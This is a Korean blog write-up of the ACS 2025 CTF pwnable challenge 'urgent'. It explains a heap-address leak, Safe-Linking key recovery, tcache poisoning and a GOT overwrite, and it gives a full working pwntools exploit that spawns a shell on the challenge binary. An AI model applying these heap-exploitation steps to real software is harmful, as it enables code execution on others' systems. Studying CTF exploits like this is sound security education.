취약점분석/Pwnable

[Pwnable]ACS 2025 포너블 문제 풀이 (urgent)

poiri3r 2025. 11. 24. 15:40

제가 저번주에 아세안 동남권 해킹 대회를 다녀왔습니다.

포너블이랑 리버싱 문제들이 너무 어려워서 쉬운 문제 빼고 거의 못풀었는데, 포너블 문제중에 최근 공부중인 힙 익스플로잇 문제가 하나 있어서 다시 풀어보면서 write-up을 작성해볼까 합니다.

대회장안에서는 못풀었어서 끝나고 복기하면서 다시 풀어보는거라 글이 매끄럽지 않을 수 있습니

 

ACSurgent.zip
0.01MB

 

 

 

문제안에 주석들은 제가 풀면서 작성했던거라 신경 안쓰셔도 괜찮습니다.

보호기법입니다.

먼저 기본 기능 분석입니다.

기본 기능 분석
1.register_vehicle : 힙 할당
2.edit_memo : 메모 내용 수정
3.show_memo : 메모 내용 출력
4.clear_memo : 메모 삭제
5.tigger_overwrite : 비상기능 실행
6.list_registery : 등록 현황 조회
7.analytics : 관리자 분석
 

순서고 메뉴도 7개 있습니다.

 

일단 먼저 PIE가 꺼져있기때문에 필요한 함수 주소는 가져다 쓸 수 있고 6번이랑 7번 메뉴를 사용하면 정보를 획득할 수 있습니다.

메모를 입력하고 6번 메뉴를 실행하면 현재 힙에 할당된 노트의 실제 주소를 획득할 수 있습니다.

이 문제 glibc 버전이 좀 높았던 걸로 기억하는데, Safe-Linking을 위해 이 키 계산이 필요합니다.

7번을 누르면 Override handler의 주소를 출력해줍니다.

하지만 PIE가 꺼져있어서 꼭 필요한 함수인지는 잘 모르겠습니다.

 

문제 해결 방향에 대한 설계는 Tcache Poisoning을 통한 GOT overwrite를 목표로 했습니다.

 

1.list_registry()를 통한 힙주소 누출

1-1 유출 된 힙 주소로 Safe linking 키 값 생상

 

2. Tcache Poisoning

2-1. 청크 생성

2-2. clear_memo를 통한 청크 해제 -> 청크가 Tcache에 들어감

2-3 edit_memo로 해제된 청크의 메모에 print의 got 주소를 넣음

 

3.GOT overwrite

3-1 register_vehicle로 첫 번째 더미 청크 호출

3-2 register_vehicle로 두 번째 청크 호출 -> print의 got에 원하는 내용 작성 : emergency_override의 주소 넣음

 

일단 본격적인 익스플로잇을 작성하기 이전에 편의 함수들을 미리 작성해보겠습니다.

def register(slot, plate, cat, size, content):
    p.sendlineafter(b">> ", b'1')
    p.sendlineafter(b'chars): ', plate)
    p.sendlineafter(b'chars)', cat)
    p.sendlineafter(b'768): ', str(size).encode())
    p.sendafter(b'plan: ', content)

def edit(slot, content):
    p.sendlineafter(b">> ", b'2')
    p.sendlineafter(b'(0-7): ', str(slot).encode())
    p.sendafter(b'max): ',content )

def show(slot):
    p.sendlineafter(b">> ", b'3')
    p.sendlineafter(b"(0-7): ",str(slot).encode() )

def clear(slot):
    p.sendlineafter(b'choice: ', b'4')
    p.sendlineafter(b"(0-7): ",str(slot).encode() )

def lest_reg():
    p.sendlineafter(b'choice: ', b'6')

 

위와 같이만 작성했습니다.

register에 slot인자는 들어가진 않지만 페이로드 작성할 때 헷갈릴 것 같아서 참고용으로 인자값 설정해두었습니다.

 

이제 본격적인 익스플로잇을 설계해보겠습니다

먼저 암호화 키를 얻는 페이로드를 작성해보겠습니다.

6번 list_reg를 사용하면 SYS_CNTL이 들어있는ㄷ 주소를 알려줍니다(0번에다 힙을 할당한 뒤 6번을 출력해도 힙 주소를 획득할수 있습니다) 해당 메모에서의 주소를 저장하고 하위 12비트 제거 후 키 값으로 쓰면 됩니다

 

list_reg 함수에 추가해서 수정했습니다.

def list_reg():
    p.sendlineafter(b'>> ', b'6')
    p.recvuntil(b'memo=')
    line_data=p.recvline()
    heap_addr_str = line_data.split()[0]
    heap_leak = int(heap_addr_str, 16)
    log.success(f"Heap Address: {hex(heap_leak)}")
    key = heap_leak >> 12
    log.info(f"Key: {hex(key)}")

list_reg()

위의 코드는 memo뒤의 글자들을 저장하고 분리해서 저장합니다.

실행하면 다음과 같이 Key값으로 쓸 값을 구할 수 있습니다.

 

이제 Tcache poisoning하는 페이로드입니다.

key = list_reg()

#Tcache poisoning
poison_payload = p64(target_got ^ key)
print(poison_payload)
register(0, b'123', b'123', 40, b'123123')
clear(0)
edit(0, poison_payload)

일단 이전에 key값이 지역변수여서 list_reg밖에서 사용이 안되길래 list_reg 마지막에 return key를 추가해주고, key값을 따로 저장한뒤 print의 got와 xor해서 키를 구ㅐㅎㅆ습니다.

그 뒤 register-clear-edit을 통해 tcache poison을 진행했습니다.

중간 실행 결과입니다. 

계산해보면 93caC가 알맞은 값이 나오는데 보기 힘들어서 

log.info(f"Poison Payload: {hex(u64(poison_payload))}")

이렇게 print문을 바꿔뒀습니다.

이제 나머지 tcache poisoning을 해보겠습니다.

register(1, b'111', b'123', 40, b'123123')
emergency = elf.sym['emergency_override']
register(2, b'111', b'123', 40, p64(emergency))

 

이렇게 작성을 해줬습니다만.. 페이로드가 일을 안하네요.

디버깅은 잘 찍히는걸 보아하니 통신문제는 아닌 것 같습니다

이전에 공부할때 쓴 글들 살펴보니까

https://poiri3r.tistory.com/59

 

[Pwnable]Tcache_dup2 write-up

오늘은 드림핵의 Tcache_dup2 write-up을 작성해보겠습니다.https://dreamhack.io/wargame/challenges/67 로그인 | Dreamhack dreamhack.io문제는 위의 사이트에서 다운로드 받으실 수 있습니다.여기서 유의깊게 보셔야

poiri3r.tistory.com

여기서 Tcache count값을 까먹고있었는데 할당해제개수를 추가해서 tcache count값을 2개로 만들어보겠습니다.

 

#Tcache poisoning
poison_payload = p64(target_got ^ key)
log.info(f"Poison Payload: {hex(u64(poison_payload))}")
register(0, b'123', b'123', 40, b'123123')
clear(0)
edit(0, poison_payload)

register(0, b'A', b'A', 40, b'Chunk0')
register(1, b'B', b'B', 40, b'Chunk1')

clear(1)
clear(0)

register(1, b'111', b'123', 40, b'123123')
emergency = elf.sym['emergency_override']
register(2, b'111', b'123', 40, p64(emergency))
p.interactive()

이렇게 수정을 해봤습니다.

이번엔 double free bug가 뜨네요

이것저것 해보니 할당 ->해제->수정->할당*2->해제*2를 하면 Tcache가 오염된 상태에서 할당과 해제를 반복해서 힙 구조가 망가진거라 합니다.

앞에 할당->해제->edit을 빼고 수정했습니다.

register(0, b'A', b'A', 40, b'Chunk0')
register(1, b'B', b'B', 40, b'Chunk1')

clear(1)
clear(0)

edit(0, poison_payload)
register(1, b'111', b'123', 40, b'123123')
emergency = elf.sym['emergency_override']
register(2, b'111', b'123', 40, p64(emergency))
p.interactive()

쉘 획득에 성공했습니다..!

 

from pwn import*

#context.log_level = 'debug'
elf = ELF("./urgent")
p = process("./urgent")
target_got = elf.got['__printf_chk']
print(target_got)


def register(slot, plate, cat, size, content):
    p.sendlineafter(b">> ", b'1')
    p.sendlineafter(b'chars): ', plate)
    p.sendlineafter(b'chars)', cat)
    p.sendlineafter(b'768): ', str(size).encode())
    p.sendafter(b'plan: ', content)

def edit(slot, content):
    p.sendlineafter(b">> ", b'2')
    p.sendlineafter(b'(0-7): ', str(slot).encode())
    p.sendafter(b'max): ',content )

def show(slot):
    p.sendlineafter(b">> ", b'3')
    p.sendlineafter(b"(0-7): ",str(slot).encode() )

def clear(slot):
    p.sendlineafter(b'>> ', b'4')
    p.sendlineafter(b"(0-7): ",str(slot).encode() )

def list_reg():
    p.sendlineafter(b'>> ', b'6')
    p.recvuntil(b'memo=')
    line_data=p.recvline()
    heap_addr_str = line_data.split()[0]
    heap_leak = int(heap_addr_str, 16)
    log.success(f"Heap Address: {hex(heap_leak)}")
    key = heap_leak >> 12
    log.info(f"Key: {hex(key)}")
    return key

key = list_reg()

#Tcache poisoning
poison_payload = p64(target_got ^ key)
log.info(f"Poison Payload: {hex(u64(poison_payload))}")


register(0, b'A', b'A', 40, b'Chunk0')
register(1, b'B', b'B', 40, b'Chunk1')

clear(1)
clear(0)

edit(0, poison_payload)
register(1, b'111', b'123', 40, b'123123')
emergency = elf.sym['emergency_override']
register(2, b'111', b'123', 40, p64(emergency))
p.interactive()

 

다른 분은 GOT overwrite를 안쓰고 fd포인터 값에 바로 주소값을 넣었다는데 그렇게 풀어봐도 될 것 같긴합니다.

또 구조체를 두개 준게 UAF로 구조체 위치를 맞추면서 익스플로잇을 하는 의도같은데 감이 잘 안잡혀서 GOT로 했는데 되어서 다행이네요. 

최근에 공부하고 있는 내용이라 대회장에서 문제를 풀었으면 좋았을 것 같은데.. 아쉬우면서도 그래도 실력 증진이 된 것 같습니다.

이번에 문제 풀때는 틈틈히 짬내서 최대한 ai의 도움 없이 풀어보려고 했는데, 그래도 비교적 AI모델을 덜 쓰고 해낸 것 같아 기분이 뿌듯합니다.

읽어주셔서 감사합니다

'취약점분석 > Pwnable' 카테고리의 다른 글

[Pwnable] FSOP - 3 (House of apple 2)  (1) 2025.12.02
[Pwnable] FSOP - 1 (_IO_FILE)  (0) 2025.11.25
[Pwnable] tcache_key, Safe Linking  (0) 2025.11.12
[Pwnable] Format String Bug  (0) 2025.11.10
[Pwnable]Tcache_dup2 write-up  (0) 2025.11.09